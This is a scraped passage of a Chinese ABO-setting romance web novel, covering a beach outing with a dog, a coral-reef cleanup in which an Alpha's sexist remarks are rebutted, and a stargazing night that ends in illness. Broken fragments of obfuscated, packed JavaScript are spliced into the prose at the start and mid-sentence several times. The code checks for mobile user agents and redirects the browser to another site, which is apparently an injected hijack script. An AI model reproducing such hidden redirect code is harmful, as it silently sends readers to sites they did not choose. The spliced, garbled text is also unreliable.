l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326504|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 桃楠看着煤球眼巴巴望着窗外的样子,提议:“反正现在也没事,要不我们带它去海边玩吧?” 梨砚把风铃暂时挂在了厨房,转身道:“好。” 说走就走,南阳抱着相机,拉着时夏,说今天轮到他来给桃楠当摄影师了。 四人一狗浩浩荡荡往沙滩走去。 刚到海边,煤球就挣脱梨砚的牵引绳,叼着它的迷你冲浪板撒欢似的冲进浅水区,浪花溅得它满身都是,乐得尾巴像小马达一样不停摇摆。 “它还真会玩。”桃楠蹲在沙滩上,看着煤球把木板推到浪尖,自己追着浪花跑。 梨砚在他身边坐下,随手捡起块贝壳递给煤球,看着它用爪子扒拉着玩:“以前带它来海边救过一次险,从那以后就总爱往水里钻了。” 海风掀起梨砚的衣角,带着咸湿的气息拂过脸颊。 桃楠看着他被阳光晒得发亮的侧脸,又想起刚才送风铃时对方眼里的笑意,心跳快了半拍。 他悄悄把脚伸进了海水里,冰凉的触感让脸颊的热度降了些,却没压住心里那点甜丝丝的悸动。 南阳举着相机追着煤球拍,时夏在旁边友好指挥:“左边点左边点,对,哎呀你笨死了。” 海浪拍打着沙滩,送来一串白色的泡沫。 梨砚突然站起来,朝煤球吹了声口哨:“来,我们试试真正的冲浪板。” 煤球立刻丢下玩具板,摇着尾巴扑进他怀里。 桃楠看着一人一狗的互动,差点被萌的当场流鼻血。 梨砚笑着揉了把煤球毛茸茸的脑袋,转身往隔壁民宿寄存冲浪板的木屋走去。 “等等我。”桃楠快步追上梨砚,顺手帮他推开吱呀作响的木门,“需要帮忙搬吗?” “不用,它很轻。”梨砚从墙角拖出一块亮蓝色的冲浪板,板面上还沾着未干的细沙,边缘印着小小的浪花图案,“这是给初学者准备的软板,安全。” 煤球已经在沙滩上急得转圈,看见梨砚扛着冲浪板出来,立刻兴奋地扑上去,用爪子扒拉着板身,喉咙里发出“嗷嗷”的撒娇声。 梨砚把冲浪板轻轻放在浅水区,海水漫过板尾,激起一圈圈涟漪。 “看好了。”他朝煤球吹了声口哨,抓起冲浪板往浪头方向轻轻一推。 蓝色的冲浪板乘着海风滑出不远,煤球立刻像接收到指令的小骑士,“嗖”地窜进水里,四肢飞快地划动,朝着冲浪板追去。 浪花打湿了它的耳朵和脊背,却丝毫没影响速度。 眼看就要追上冲浪板,一个小浪头突然涌来,把板身轻轻托起,煤球趁机纵身一跃,前爪稳稳搭在了板尾,尾巴在水里兴奋地摇摆,像个真正的冲浪选手。 “哇!它还会站板。”桃楠看得眼睛都亮了。 梨砚在他身边坐下:“以前教客人冲浪时,它总蹲在旁边看,慢慢就学会了。不过也就敢在浅水区玩,深一点的地方就怂了。” 话音刚落,煤球脚下的冲浪板被浪头推得一晃,它“嗷呜”一声没站稳,连板带狗摔进水里,溅起一大片水花。 等它扑腾着爬起来,浑身的毛都湿成了一缕一缕,却还是叼着冲浪板往岸边跑,脑袋上还顶着片小海草,模样又狼狈又可爱。 时夏:“好可爱啊。” 南阳举着相机笑得直不起腰。 梨砚起身迎上去,接过煤球嘴里的冲浪板,用毛巾把它裹起来擦毛:“傻不傻?知道浪大还往前冲。” 煤球舒服地眯起眼睛,任由他擦着耳朵,尾巴却还在欢快地扫着沙滩。 32. 遮阳帽 桃楠蹲下身帮梨砚按住乱动的煤球。 煤球被毛巾裹成一团毛茸茸的球,喉咙里发出满足的呼噜声,尾巴尖还在毛巾缝里不安分地扫来扫去。 桃楠指尖戳了戳它湿漉漉的耳朵,笑道:“刚才不是!很威风吗?怎么摔成落汤狗了?” 煤球像是听懂了,歪着头用鼻尖蹭他的手背,把湿漉漉的水汽蹭了他一手心。 梨砚趁机把毛巾裹紧了些,指尖擦过煤球后颈的软毛:“再闹就让你自己跑回去晒毛。” 煤球立刻乖了,耷拉着耳朵趴在沙滩上,任由两人给它擦水。 阳光落在湿漉漉的皮毛上,很快蒸出一层薄薄的水汽,混着海风的咸味,在空气里漫开暖融融的气息。 “看它这怂样,刚才在水里还敢跟浪花较劲呢。”南阳举着运动相机凑过来。 镜头里的煤球缩在毛巾里,只露出一双亮晶晶的眼睛,任由梨砚给他擦毛。 南阳:“回去剪辑的时候,记得给它配个‘冲浪健将变落水狗’的字幕哈哈哈哈。” 时夏踢了踢他的小腿,从口袋里摸出颗牛肉粒,递到它嘴边:“别总欺负煤球,人家刚才可是帮你捡了墨镜。 煤球立刻精神起来,叼过牛肉粒囫囵吞下,尾巴又开始欢快地摇摆,差点把裹身的毛巾甩飞。 梨砚无奈地按住它乱晃的身子:“吃了东西就乖乖待着,再往水里扑,今天的零食就没了 桃楠看着一人一狗的互动,捡起块被海浪冲上岸的珊瑚碎片,举起来对着阳光看:“这珊瑚颜色好特别,粉粉的像花瓣。” 梨砚凑过来看了一眼,指尖轻轻碰了碰珊瑚边缘:“是鹿角珊瑚的碎片,岛上浅滩那边很多,不过要小心别被扎到,边缘很锋利。” 他说着从口袋里掏出块细砂纸,“之前在工具房拿的,磨一磨就能当摆件了。” 桃楠说他像个哆啦A梦,怎么什么都有,然后接过砂纸小心地打磨起来,珊瑚的粉末簌簌落在沙滩上,很快露出圆润光滑的截面。 “这样就能放在床头当装饰了,比买的工艺品有意义多了。” 海风掀起梨砚的发梢,他看着桃楠认真的侧脸,阳光在他睫毛上投下浅浅的阴影,梨砚笑道:“你倒是很会捡宝贝。” 桃楠举着磨好的珊瑚晃了晃,“这些都是大海送的礼物,得好好收着。” 他把珊瑚放进随身的小布袋里,又开始低头在沙滩上搜寻,“说不定还能捡到珍珠呢。” 梨砚在桃楠身边坐下,海浪一次次漫过脚面,带来清凉遮阳帽的触感,也冲来些贝壳和海螺。 煤球大概是晒暖了,从毛巾里钻出来,抖了抖身上的毛,撒欢似的往远处的椰林跑。 很快,它叼回来一片大大的椰叶,往梨砚怀里一丢,尾巴还在沙地上扫来扫去,像是在邀功。 “这是给我送遮阳伞吗?”梨砚笑着把椰叶撑开,往桃楠头顶一放,“正好挡挡太阳。” 椰叶的阴影稳稳落在桃楠脸上,带着雨后青草般的湿润气息,还混着淡淡的椰香。 他愣了一下,伸手扶了扶头顶的“遮阳帽”,抬头看向梨砚,故意晃了晃脑袋,让叶片在头顶轻轻摇晃:“这遮阳伞质量不太好,有点扎头发。” 梨砚伸手帮桃楠把椰叶调整了下角度,指尖擦过对方的发梢,触感柔软得像云朵:“这样就不扎了,煤球选的叶子还挺合适,大小刚好能遮住你一个脑袋。” 日头渐渐爬到头顶,沙滩被晒得发烫,四人一狗才慢悠悠往别墅走。 煤球叼着它的迷你冲浪板跑在最前面,尾巴在沙滩上扫出一串的印记。 “回去该吃午饭了吧?”桃楠摸了摸肚子,阳光晒得他有点犯困,“早上的香蕉煎饼消化得差不多了。” “别墅厨房应该有吃的,刚才路过食堂看到有其他志愿者在备菜。”梨砚指了指前面的椰林,“前面岔路拐过去有棵老椰树,昨天看有人在那儿卖现开的椰子,你要喝吗?” 桃楠点头:“好啊。” 两人加快脚步追上前面的南阳和时夏,刚拐进岔路,就看见老椰树下摆着个小摊,竹筐里堆着青绿色的椰子,摊主正挥着砍刀“咚咚”地开椰子。 煤球兴奋地扑上去,围着竹筐转圈圈,尾巴差点扫翻摊主的工具盒。 “三个椰子,要冰镇的。”梨砚熟稔地和摊主打招呼,要了瓶可乐,转头问桃楠,“加青柠还是蜂蜜?” “青柠吧,清爽点。”桃楠盯着摊主手里的砍刀,看着他利落的几下就劈开椰壳,露出里面雪白的椰肉,“这手艺好厉害,我上次自己开椰子差点把手划了。” 梨砚接过摊主递来的椰子,插上吸管递给他:“慢点喝,冰的喝太快容易肚子疼。” 冰凉的椰子水滑过喉咙,带着青柠的微酸和椰子的清甜,瞬间驱散了午后的燥热。 桃楠靠在椰树干上,看着梨砚仰头喝可乐的样子,阳光透过椰叶的缝隙落在他发梢,蓝发在光线下泛着柔和的光泽。 回到别墅时,厨房里已经热闹了起来。 几个志愿者和艺人正围着餐桌喝粥,甜橙橙坐在角落的椅子上玩手机,看见他们回来立刻抬起头:“你们可回来了,刚想发消息问你们在哪儿呢。” “去海边陪煤球玩了会儿。”桃楠晃了晃手里的运动相机。 梨砚把手里的零食放在餐桌上,转身往厨房里面走:“我去看看有什么吃的,早上买的椰子冻放冰箱了,有人要吃?” “我要!”甜橙橙立刻举起手,小跑着跟过去。 南阳凑到桃楠旁边八卦:“你说,秦尤怎么这个点了都没下来?”他挤了挤眼睛,话里的调侃意味十足。 话音刚落,秦尤刚好就从楼上下来,领口松松垮垮垮地挂在肩上,眼底还带着点没散去的慵懒,嘴角却压不住那点若有若无的笑意,一看就是心情极好的模样。 他刚走到餐桌旁,手还没碰到装着椰子冻的保鲜盒,就被突然围上来的几人堵了个正着。 “哟,这不是我们秦大帅哥吗?”南阳率先凑上去,胳膊搭在他肩膀上,挤眉弄眼地问,“这都快中午了才下来,昨晚跟江屿‘促膝长谈’到几点啊?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326505|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 甜橙橙举着勺子凑过来,不满道:“秦尤你太不厚道了,连谈过恋爱都没和我们讲过!” 桃楠也跟着点头,“所以现在如实招来,你们到底是怎么回事儿。” 秦尤没急着回答,先打开冰箱拿出椰子冻,挖了一大勺送进嘴里,才慢悠悠地靠在椅背上,笑着说:“没你们想的那么复杂,就是小时候的网恋对象。” “网恋?!”这话一出,几人都惊了,连正厨房擦杯子的梨砚都抬了抬眼。 “就是初中那阵,网上聊得投缘,就顺嘴定了关系,”秦尤说得轻描淡写,指尖无意识摩挲着杯沿。 “那个时候年纪小,没见过几面,视频也就打过几次,后来不知道怎么回事,他突然就冷暴力,消息不回,电话不接,我也就没再纠缠,算默认分手了。” 桃楠突然想起什么,一脸“我知道了”的表情,追问他:“不会是你初三那年,天天偷偷躲在房间里喝酒,还被叔叔抓包,一顿揍的那会儿吧?我记得那时候你还跟我吐槽,说‘网友不理你了’,原来那个网友就是江屿啊。” “你怎么什么都记得?”秦尤被戳中旧事,耳尖悄悄泛红,赶紧又挖了勺椰子冻塞进嘴里,掩饰自己的尴尬。 “不过说起来也巧,那天我表哥在酒馆给他的微信居然是我的号。” 桃楠感叹道:“这就是缘分吗?” “这个我知道,”南阳拍了下桌子,“陈队那天确实给了他微信,后来我们误会他,他说坑的是他表弟。” “那你们现在和好了?”甜橙橙睁大眼睛,语气里满是期待,“要是没和好的话,我可要开始帮忙了!” “他说要追我。”秦尤眼底带着点笑意,傲娇的说:“我是不会这么轻易就原谅他的,当初他能冷暴力我一次,谁知道有没有第二次?” 这话刚落,餐厅门口突然传来脚步声,江屿手里拎着个纸袋走进来。 他看见围在餐桌旁的几人,脚步顿了顿,最后把目光落在秦尤身上:“我买了点刚出炉的菠萝包,要吃吗?” 秦尤没抬头,轻咳了一声,摆了摆手道:“不用了,我……我不爱吃甜的。” 江屿没什么表情的把把菠萝包推过去:“我知道,所以买了无糖的,你试试?” 秦尤没接,却也没再拒绝。直到江屿转身去帮梨砚端餐盘,桃楠才凑到秦尤身边,压低声音笑:“收收你那快和太阳并肩的嘴角吧,小心露馅了。” 秦尤瞥了他一眼,伸手拿起吃的塞进他嘴里,含糊道:“吃你的,少管闲事。” 第二天的时候,协会和节目组照常开始了工作,接下来的一周,协会成员们的生活都被工作填满。 他们去了红树林勘察,记录植被生长数据,偶尔去海龟基地,照顾刚破壳的幼龟,在浅滩监测珊瑚礁的情况,清理附着在珊瑚上的垃圾。 梨砚和桃楠还抽空拍了两三期vlog。 镜头里有煤球在沙滩上撒欢的模样,有红树林里的招潮蟹和水鸟,还有小海龟回归大海的瞬间,每一段画面都充满了海岛的生机与温暖。 33. 我能行 清晨的阳光刚穿透云层,协会的成员们就已在码头集合,准备前往浅滩开展珊瑚礁清理工作。 桃楠背着装满工具的背包,手里还提着两袋专门清理珊瑚附着垃圾的网兜。 他的手臂线条紧实,是常年锻炼留下的痕迹,连提着重物的手腕都没晃一下。 “今天主要清理浅滩区域的塑料垃圾和废弃渔网,这些东西缠在珊瑚上会影响它们呼吸,咱们分组行动,每组负责一片区域,注意别碰伤珊瑚礁本身。” 莉莉安和王研究员这两天都在研究近期海水污染指数增高的事儿,梨砚拿着地图分配任务,目光扫过人群时,特意在桃楠身上停了停,语气带着自然的信任,“你负责的西南区域有几处废弃渔具堆积,需要搬重物。” 桃楠指节轻轻敲了敲背包侧兜:“我能行的。” 这话不知道为什么,引来了负责协助记录数据的Alpha周明的嗤笑。 他抱着胳膊,眼神轻蔑地扫过桃楠:“Omega说这种话也不怕别人笑话?力气再大还能比得过Alpha?一会儿清理废弃渔网,要是网兜缠在珊瑚上拽不动,到时候还得我们分心帮你收拾烂摊子。” 周围的空气瞬间凝住,甜橙橙刚把潜水镜挂在脖子上,听见这话立刻皱起眉,往桃楠身边凑了凑,小声嘀咕:“这人脑子有问题吧?凭什么说Omega不行?” 时夏也停下整理工具的手,眼神跟着冷下来。 桃楠脸上的笑容淡了,他放下手里的网兜,揉了揉手腕,那是他小时候跟着姐姐学拳击时留下的小习惯。 没等他开口,南阳先一步上前,皮笑肉不笑地盯着周明:“哥们儿,你这么说就有点不对了吧?” “你什么意思啊?”旁边几个Omega成员也忍不住开口,“我们上周去海龟基地清理围栏,桃楠一个人拧开了好几个生锈的螺丝,你当时怎么还说要找扳手?” 桃楠没什么表情的说:“清理珊瑚礁靠的是技巧,不是蛮力,我之前跟着梨教练做过三次珊瑚清理,怎么缠的渔网好解、怎么搬东西不碰珊瑚,我都很清楚。” 周明脸色沉了沉,往前迈了一步,刻意挺了挺胸膛,Alpha的信息素带着腻人的红茶味散开,隐隐透着压迫感:“Omega的骨架天生就比Alpha细,肌肉密度也差远了,你那点力气在陆地上或许够用,到了海里,水的阻力一挡,还不是白搭?” 桃楠闻到了一股腻人的红茶味,是周明的信息素。 靠,这人有毛病吧。 桃楠最烦有人用信息素压人,他觉得和动物没什么区别。那股这股红茶味像黏在身上的糖浆,腻得让人恶心, 他伸手拦住想上前理论的南阳,语气里带着嘲讽:“上次清理海龟基地的废弃铁架,你搬不动的那根钢管,还是我帮忙扛到车上的,你忘了?” 周明脸色一僵,随即又梗着脖子反驳:“那是我当时没发力!再说了,搬钢管和清理珊瑚能一样吗?珊瑚那么娇贵,到时候出了错,还得我们来替你担责任!” “周明。”梨砚的视线从桃楠身上收回,声音突然响起,带着不容置疑的冷意。 他走到桃楠身边,站定,目光锐利地落在周明身上,语气严肃:“你刚才说的每一句话,都在冒犯桃楠,也在冒犯所有omega,否定他们的能力。” 周明被梨砚的气势压得后退半步,却还想辩解:“这能算什么冒犯?我只是实事求是,Omega确实不适合做这种需要体力和风险的工作。” “没有‘适合不适合’,只有‘会不会做’。” 梨砚打断他,声音清晰地传遍码头,“甜橙橙上次在海龟基地,连续三个小时蹲在沙滩上给幼龟测量体型,比谁都有耐心,时夏上周整理珊瑚监测数据,连小数点后三位的误差都能找出来,这些你怎么不说?” 周明的脸一阵红一阵白,张了张嘴却找不出反驳的话,因为这些事都是事实,他之前只觉得Omega“运气好”“会装样子”,却从没正视过他们的努力。 上次清理粗绳,他确实因为没控制好力气,让一截珊瑚裂了缝,最后还是桃楠用专用胶水小心修补好的。 大概这次让他负责记录就是因为他老犯错误吧。 梨砚继续说道:“桃楠为了珊瑚清理,会查这片浅滩的潮汐表和珊瑚分布,他做的准备比你充分,你凭什么因为他是Omega,就否定他的努力和能力?用性别给人贴标签?” 周围的成员们也纷纷点头附和:“我们有不足的地方,也知道在其他方面下功夫,不像你,老出错也不知道改,拖后腿。” 周明在众人的目光下,肩膀渐渐垮下来,语气也软了:“我……我就是觉得Omega在海里工作太危险了,没别的意思。” 梨砚:“危险可以靠防护和经验规避,但偏见不行。” 梨砚的语气缓和了些,却依旧坚定:“我明确告诉你,能不能做好这份工作,跟性别没有任何关系,只看责任心和实力,你要是觉得对方完不成任务,可以去提供帮助,而不是在这里说这些没用的。” 说完,梨砚转身看向桃楠,眼神柔和下来,他轻轻拍了拍桃楠的胳膊,低声问:“没事吧?” 桃楠摇了摇头,嘴角重新勾起笑:“我没事,他就这种人不值得我生气。” 乘船到了浅滩,众人各自前往负责区域。 桃楠穿好潜水服,拿着工具走进海里。 他刚到自己负责的区域,就看到一块半沉在水里的废弃铁皮卡在珊瑚丛中,铁皮边缘锋利,还缠着好几圈渔网。 桃楠深吸一口气,弯腰用双手扣住铁皮边缘,手臂肌肉绷紧,直接将铁皮从珊瑚缝里拔了出来。 他的动作稳当,丝毫没碰到旁边的珊瑚,还顺势将缠在铁皮上的渔网扯下来,团成一团塞进网兜。 中午休息时,周明主动走到桃楠面前,语气里带着歉意:“对不起,早上是我不对,我不该用性别来说事儿。” 桃楠正拧着矿泉水瓶,闻言没什么反应道:“没事儿,以后别再这么想就行。” 他抬起头,说:“Omega不是只能待在温室里,他们一样能做自己想做的事。” 海风拂过海面,带着淡淡的咸意,阳光落在桃楠脸上,映得他眼里的光格外明亮。 远处的珊瑚礁在清澈的海水里泛着微光,就像此刻的桃楠,看似温和,却藏着不容小觑的力量,在自己热爱的领域里,坚定地发光发热。 梨砚从背包里拿出提前准备好的冰毛巾,递到桃楠手里:“刚在水里待了那么久,擦擦脸吧,别中暑了。” 桃楠接过冰毛巾,指尖触到布料的凉意,却没立刻擦脸。 他垂着眼,长长的睫毛在眼下投出一小片阴影,后颈的腺体还在隐隐作痛。 周明的红茶味信息素像粘在皮肤上,盖掉了上面沾的那一点点梨花味,让他很不爽。 他烦躁的抬手摸了摸腺体,即便过了几个小时,残留的压迫感仍让他觉得恶心。 甜橙橙和时夏拿着三明治走过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326506|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,见他脸色苍白,连忙递过一份:“桃楠,快吃点东西垫垫,是不是早上太累了?” 桃楠勉强扯了扯嘴角,接过三明治却没咬,只是攥着包装袋,指节微微泛白。 梨砚站在一旁,将他的不对劲看在眼里。 等甜橙橙和时夏转身去收拾餐具,他才走到桃楠身边坐下,声音放得轻柔:“后颈不舒服?” 桃楠身子一僵,抬头时眼底还带着没藏好的委屈:“嗯……有点疼,闻着那信息素就难受。” Omega的腺体本就对恶意信息素格外敏感,周明带着轻视的压迫感,几乎是直接戳在他的软肋上。 梨砚皱了皱眉,从背包里翻出一个小巧的银色瓶子,拧开后递过去:“这是腺体舒缓喷雾,你对着后颈喷两下,能缓解些。” 清凉的薄荷味飘过来,桃楠接过瓶子,指尖有些发颤地往颈后喷了喷,瞬间蔓延的凉意让他紧绷的肩膀松了些。 “别硬撑着。”梨砚看着他,语气里带着心疼,“其实你没必要因为周明的话生气,他那种用性别贴标签的人,根本看不到别人的努力。” 桃楠吸了吸鼻子,小声说:“我不是气他说我,是气他觉得Omega都只能待在温室里……明明我们也能扛重物、能清理珊瑚,凭什么要被他看不起?” 凭什么都觉得omega需要依附Alpha?他爸也总想让他找个Alpha,早点安定下来。 梨砚沉默了几秒,忽然拿出车钥匙晃了晃:“对了,莉莉安刚发消息,让我下午开车去之前咱们去过的那个海峡,那边的珊瑚好像有白化迹象,得拍些照片记录,你要不要跟我一起?” 他顿了顿,补充道:“那边人少,海风比浅滩凉快,还能看到成群的小丑鱼,说不定能让你心情好点。” 桃楠抬眼看向梨砚,对方眼里是真诚的期待,他心里的烦躁像是被海风轻轻吹走了些,点了点头:“好。” 下午两点,梨砚开着越野车前往海峡。 沿海公路贴着海岸线蜿蜒,车窗降下,咸湿的风裹着阳光的温度吹进来,卷起桃楠额前的碎发。 他靠在副驾座上,看着窗外掠过的椰树和沙滩,后颈的疼痛感渐渐淡去,心里的郁结也散了些。 梨砚没多说话,只是调小了音乐,让他能更清楚地听着海浪声。 半个多小时后,车子停在海峡边的停车场。 这里的海水比浅滩更清澈,阳光透过水面,能看到海底成片的珊瑚丛,偶尔有彩色的热带鱼游过,留下一串灵动的水花。 梨砚拿起相机,转头对桃楠道:“要不要先去沙滩上坐会儿?我拍几张照片就来陪你。” 桃楠走到不远处的礁石边坐下,海风轻轻吹着,带着淡淡的海藻香。 他看着海底摇曳的珊瑚,忽然想起上次和梨砚来这里,梨砚送了他一颗海星,那时的阳光也像今天这样暖,却没有烦心事。 “在想什么?”梨砚的声音从身后传来,把手里拿着的两个漂亮贝壳递给了他。 桃楠接过贝壳,指尖触到贝壳的纹路,有些可惜道:“要是每天都能来就好了。” “以后有机会可以常来。”梨砚坐在他身边,望着远处的海平面,“莉莉安说等海水污染指数降下来,要在这里建一个珊瑚培育点,到时候你要是想来帮忙,随时都能来。” 桃楠眼睛亮了亮,转头看向梨砚:“真的吗?” “当然是真的。”梨砚看着他,声音轻得像海风,“我也想经常和你一起过来。” 34. 看星星 桃楠被他这句话弄的有些不自在,指尖摩挲着贝壳上的纹路,抬头时恰好看见几片云被晚风扯散,露出了澄澈的蓝天。 他想起天气预报,说今晚是晴天,眼底亮了几分,转头对梨砚说:“我们今晚能不能留在这里看星星啊?” 话刚说完,他又有点不好意思地低下头,声音轻了些:“我之前听人说,海峡这边没有码头的灯光,晚上能看到好多星星,连银河都能隐约看见,就是不知道会不会耽误你回去。” 梨砚看着他眼里藏不住的期待,嘴角的笑意不自觉加深,几乎没多想就点头了:“当然可以,我回去跟协会说一声就行。刚好车里还有之前备的毯子和零食,晚上坐在这里看星星也不会冷。” 桃楠惊喜地睁大了眼睛,:“真的吗?我还从来没在海边看过完整的星空呢,以前在家的时候,爸爸总说晚上的海边不安全,不让我出门。” 说起这些,他语气里带着点小委屈,可更多的是对今晚的期待。 梨砚听着他的话,语气轻松道:“那咱们先把珊瑚的照片拍完,然后去附近的便利店买点热饮,晚上吹海风的时候喝着暖和。” 两人说定后,桃楠跟着梨砚一起去拍珊瑚,梨砚偶尔还会把相机递给桃楠,让他拍些自己觉得好看的画面。 等忙完拍照,天已经渐渐擦黑。 梨砚从水里出来,开车去便利店买了热牛奶和饭团,回来时看见桃楠正蹲在礁石边,用小石子在沙滩上画星星。 听见车子的声音,桃楠立刻站起来朝他挥手,两人把车上的毯子铺在沙滩上,并肩坐下。 热牛奶的暖意顺着指尖传到心里,晚风带着海水的气息吹过,远处偶尔传来几声海浪拍岸的声音。 天色越来越暗,第一颗星星渐渐在夜空里亮了起来,接着是第二颗、第三颗……没多久,整片星空就像被撒了一把碎钻,璀璨又温柔。 桃楠仰着头,眼睛亮晶晶的,小声感叹:“真的好多星星啊,比我想象中还要好看。” 他侧头看向梨砚,“谢谢你啊,梨教练,要是今天没来这里,我肯定还在想早上的事。” 梨砚看着他被星光映亮的侧脸,声音轻得像怕惊扰了这片星空:“不用谢,能和你一起看星星,我也很开心。” 海风卷着沙粒蹭过脚踝,桃楠说话时带着热牛奶暖意的呼吸轻轻扫过空气,梨砚的目光落在他被星光染亮的眼睫上。 他忽然觉得今晚的海浪声都变得格外轻。 梨砚听见了自己的心跳声,脑子里不受控地蹦出上次来这里的画面。 想亲他…… “在想什么?”桃楠见他没说话,轻轻碰了碰他的胳膊,指尖的温度透过薄薄的衣料传过来,让梨砚的喉结不自觉滚了滚。 “没什么,”他赶紧收回飘远的思绪,指尖无意识地攥紧了毯子,“就是觉得……今晚的星星比上次还亮。” 话一出口,他又后悔了,怕桃楠察觉他藏在话里的心思,更怕自己再想起那些没说出口的悸动。 可越想克制,记忆就越清晰。 八年前的夏夜撞进他的脑海里,也是这样的沙滩,桃楠抱着膝盖坐在他身边,手里捏着半块没吃完的西瓜,眼睛亮晶晶地指着星空说:“哥哥,你看,那是北斗七星吧?霖爸说对着它许愿会灵验,真想不通为什么要对北斗七星许愿,不过我还是许了。” 当时他看着桃楠认真许愿的模样,忍不住笑了,伸手摸了摸他的头发:“那你许了什么愿?” 桃楠把脸埋在膝盖里,声音闷闷的:“我想以后能经常和你一起看星星,一起做喜欢的事。” 那时的风也是这样暖,海浪声也是这样轻,他看着桃楠泛红的耳尖,心里像被灌了蜜,却只敢轻声说:“会的。” “梨教练?”桃楠的声音把他拉回现实,“你怎么又走神了?是不是累了?” 梨砚回过神,看见桃楠正担忧地看着自己,眼里的光比天上的星星还要亮。 他喉结又滚了滚,压下心里翻涌的情绪,伸手轻轻揉了揉桃楠的头发,动作自然得像是练习了千百遍:“没有,就是想起以前的事了。” “以前的事?”桃楠歪了歪头道:“可以告诉我吗?” 听见这话,梨砚动作一顿,心里像被什么东西轻轻撞了一下。 他看着桃楠清澈的眼睛,那里面映着整片星空,却没有八年前那个夏夜的影子。 桃楠早就忘了,忘了那个抱着西瓜许愿的夜晚,忘了他说过要一起看星星的话。 “没什么事儿。”梨砚看向他,指尖无意识地摩挲着毯子上的纹路,声音轻得像要被海风带走。 过去就是过去,不应该执着。 桃楠眨了眨眼,没再追问,只是把手里快凉透的热牛奶往梨砚那边递了递:“那你喝点热的吧,海风一吹还是有点凉的。” 梨砚接过牛奶,指尖碰到杯壁残留的温度,心里那点因回忆而起的涩意悄悄淡了。 他看着桃楠重新仰起头看星星的模样,发梢被风轻轻掀动,露出后颈一小片细腻的皮肤,那里散发着一股属于春天的桃花味。 海风卷着咸湿的气息漫过沙滩,桃楠把最后一口热牛奶喝完,空瓶捏在手里转了两圈,目光又落回头顶的星空。 今晚的星星比他想象中更亮,银河像条淡淡的光带铺在天上,连呼吸都跟着变得轻缓。 “梨教练,你看那颗最亮的,是不是天狼星?”他指着西北方向,语气里藏着点雀跃。 他之前在草原的上空看过,这是第二次亲眼见这么清晰的星空。 梨砚顺着他指的方向望去,晚风掀起桃楠额前的碎发,露出后颈的一小片皮肤。 下一秒,一缕极淡的桃花香钻进鼻腔,是Omega腺体特有的清甜,混着海水的味道,突然让他后颈的腺体泛起一阵发烫的痒。 他猛地攥紧了手,试图压下那股突如其来的烦躁。 可他的腺体刚好,还控制不住自己的腺体,此刻桃楠身上的气息像根细针,轻轻扎在他神经上,让他连呼吸都慢了半拍。 “对,是天狼星。”梨砚的声音比刚才低了些,刻意往旁边挪了挪,拉开一点距离,“南半球看它更清楚。” 桃楠没察觉他的异样,还在兴致勃勃地数星星:“那以后要是有机会去南半球,一定要再看一次,说不定还能看到南十字星……” 话没说完,他鼻尖突然一热,温热的液体顺着人中流了下来。 他愣了两秒,伸手一摸,指尖沾了片刺目的红。 “啊…………”桃楠下意识往后缩,手忙脚乱地想去摸纸巾,却因为动作太急,后颈突然传来一阵尖锐的胀痛,比上次腺体不适时更剧烈,像有根针在往里扎。 “别动。”梨砚看清那抹红的瞬间,心脏狠狠往下沉了一下。 他立刻翻出纸巾,上前按住桃楠的鼻翼,是刚才那瞬间的失控,让桃楠受了影响。 桃楠被按得仰着头,晕乎乎地想摇头,却突然觉得浑身发冷,额头却烫得厉害。 他靠在梨砚胳膊上,声音发虚:“我…………我有点晕…………” 梨砚伸手碰了碰他的额头,指尖传来的温度让他瞳孔一缩,是发烧了。 “别说话,我带你去医院。”他没再耽误,迅速把桃楠扶起来,叠好毯子往车里塞,动作快得有些慌乱。 “不用……我歇会儿就好……”桃楠脚步虚浮,被梨砚半抱着往前走,后颈的胀痛一阵比一阵厉害,连带着太阳穴都突突地跳,“上次那家医院太远了……” “必须去。”梨砚打开副驾车门,小心地把他塞进去,扣安全带时指腹碰到桃楠的手腕,烫得他心尖发紧,“医生熟悉你的腺体情况,不能耽误。” 车子发动的瞬间,桃楠靠在椅背上,意识开始模糊。 腺体的胀痛像潮水般涌来,浑身的力气都被抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326507|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,他忍不住攥紧了梨砚递来的纸巾,喃喃地念:“梨教练……好疼……” 梨砚握着方向盘的手青筋凸起,油门踩得比平时急了不少。 窗外的夜色往后退,他时不时用余光瞥向副驾,桃楠的脸色越来越白,嘴唇泛着淡青,连呼吸都变得急促。 “再忍忍,还有半小时就到了。”梨砚的声音有些发哑,腾出一只手,轻轻覆在桃楠后颈,试图用掌心的温度稍微安抚,“我已经给医院那边打了电话,医生在等着了。” 